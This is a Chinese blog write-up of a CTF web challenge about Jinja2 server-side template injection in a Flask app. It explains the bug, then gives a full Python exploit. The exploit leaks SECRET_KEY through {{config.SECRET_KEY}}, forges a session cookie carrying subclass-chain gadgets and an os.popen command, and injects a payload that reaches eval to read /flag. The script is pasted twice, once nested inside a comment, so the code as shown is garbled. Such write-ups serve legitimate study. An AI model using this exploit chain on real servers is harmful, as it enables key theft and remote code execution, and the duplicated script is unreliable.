CTF-web-ssti模板注入漏洞

  1. SSTI模版注入:

             模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

    模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

            SSTI 就是服务器端模板注入,当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

            漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内  容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

  2. php常见的模板:twig,smarty,blade,等

  3. python常见的模板有:Jinja2,tornado
    __dict__   :保存类实例或对象实例的属性变量键值对字典
    __class__  :返回一个实例所属的类
    __mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
    // __base__和__mro__都是用来寻找基类的
    __subclasses__  :以列表返回类的子类
    __init__   :类的初始化方法
    __globals__     :对包含函数全局变量的字典的引用__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
  4. 题目描述:
  5. 打开题目链接,尝试查看源代码的js文件寻找漏洞,发现没有什么线索
  6. 打开题目的附件,发现一个基于 Flask 的简单 Web 应用程序

    这段代码是一个基于 Flask 的简单 Web 应用程序,用于演示 SSTI(Server-Side Template Injection,服务端模板注入)漏洞。SSTI 漏洞是一种常见的 Web 安全漏洞,它允许攻击者在服务器端模板引擎中注入恶意代码,导致服务器执行攻击者控制的代码,可能导致信息泄露、服务器被接管等安全问题。

    在这个应用中,index.html 模板页面通过 render_template 函数动态渲染,而 user() 路由接受 username 参数,然后将其作为模板字符串渲染返回。在 waf() 函数中,存在一个基本的简单黑名单过滤器,用于检查输入中是否包含某些敏感字符串,如果包含则拒绝渲染并返回提示信息 "No hacker"。

    这段代码与 SSTI 漏洞相关的地方在于 user() 路由中,它直接将用户输入作为模板字符串进行渲染,而没有对输入进行适当的过滤或验证。这意味着如果用户能够控制 username 参数,并成功注入模板代码,就可以执行任意的 Python 代码,包括读取服务器上的文件、执行系统命令等危险操作。

    例如,如果用户输入 {{ 7 * 7 }},那么页面上就会显示 49;如果用户输入 {{ ''.__class__.__mro__[1].__subclasses__() }},则可能会返回服务器上 Python 的所有子类,包括敏感信息。攻击者可以使用这种漏洞进行进一步的渗透攻击。

  7. 分析代码发现没有过滤config和session,所以可以采用session来获得任意字符串
    # coding=utf-8
    import sys
    import requests
    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    # 获取目标 URL,这里假设通过命令行参数传入
    url = sys.argv[1]  # "import sys
    import requests
    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    # 获取目标 URL,这里假设通过命令行参数传入
    url = sys.argv[1]  # "http://X.X.X.X:port/"
    
    # 发送 GET 请求到目标网站的 'user' 路由,以获取 SECRET_KEY
    # 这里利用了之前的 SSTI 漏洞,将恶意模板作为用户名参数传递
    sk = requests.get(f"{url}user", params={"username": "{{config.SECRET_KEY}}"}).text
    
    # 创建 Flask 应用
    app = Flask(__name__)
    # 将获取到的 SECRET_KEY 设置为 Flask 应用的密钥
    app.secret_key = sk
    # 获取 Flask 应用的会话序列化器
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
    # 定义一个用于构造恶意会话的函数
    def index():
        # 构造恶意的 Python 字典,包含一些特殊的变量名和属性名,以及一条命令用于执行系统命令获取 '/flag' 文件内容
        a = {
            "cs": "__class__",
            "bs": "__base__",
            "sub": "__subclasses__",
            "num": 190,
            "it": "__init__",
            "gb": "__globals__",
            "bt": "__builtins__",
            "el": "eval",
            "cmd": "__import__('os').popen('cut -d \"\" -f1 /flag').read()"
        }
        # 序列化恶意字典并返回
        return session_serializer.dumps(a)
    
    # 构造恶意会话
    session = index()
    # 构造包含恶意会话的 Cookie
    cookie = {"session": session}
    
    # 发送 GET 请求到 'user' 路由,触发 SSTI 漏洞,并执行恶意的系统命令获取 '/flag' 文件内容
    response = requests.get(
        f"{url}user",
        params={
            # 利用 SSTI 漏洞执行恶意模板代码
            "username": "{{(joiner[session.cs]|attr(session.bs))[session.sub]()"
                        "[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}"
        },
        cookies=cookie
    )
    
    # 打印获取的结果
    print(response.text)
    
    # 发送 GET 请求到目标网站的 'user' 路由,以获取 SECRET_KEY
    # 这里利用了之前的 SSTI 漏洞,将恶意模板作为用户名参数传递
    sk = requests.get(f"{url}user", params={"username": "{{config.SECRET_KEY}}"}).text
    
    # 创建 Flask 应用
    app = Flask(__name__)
    # 将获取到的 SECRET_KEY 设置为 Flask 应用的密钥
    app.secret_key = sk
    # 获取 Flask 应用的会话序列化器
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
    # 定义一个用于构造恶意会话的函数
    def index():
        # 构造恶意的 Python 字典,包含一些特殊的变量名和属性名,以及一条命令用于执行系统命令获取 '/flag' 文件内容
        a = {
            "cs": "__class__",
            "bs": "__base__",
            "sub": "__subclasses__",
            "num": 190,
            "it": "__init__",
            "gb": "__globals__",
            "bt": "__builtins__",
            "el": "eval",
            "cmd": "__import__('os').popen('cut -d \"\" -f1 /flag').read()"
        }
        # 序列化恶意字典并返回
        return session_serializer.dumps(a)
    
    # 构造恶意会话
    session = index()
    # 构造包含恶意会话的 Cookie
    cookie = {"session": session}
    
    # 发送 GET 请求到 'user' 路由,触发 SSTI 漏洞,并执行恶意的系统命令获取 '/flag' 文件内容
    response = requests.get(
        f"{url}user",
        params={
            # 利用 SSTI 漏洞执行恶意模板代码
            "username": "{{(joiner[session.cs]|attr(session.bs))[session.sub]()"
                        "[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}"
        },
        cookies=cookie
    )
    
    # 打印获取的结果
    print(response.text)
    
  8. 需要在运行时通过命令行参数指定目标 URL
    python code.py http://target-url.com/
    

  9. 若以上内容分析有误,请博友们指出

  10. 更多ssti例子见:https://www.cnblogs.com/bmjoker/p/13508538.html

  • 28
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值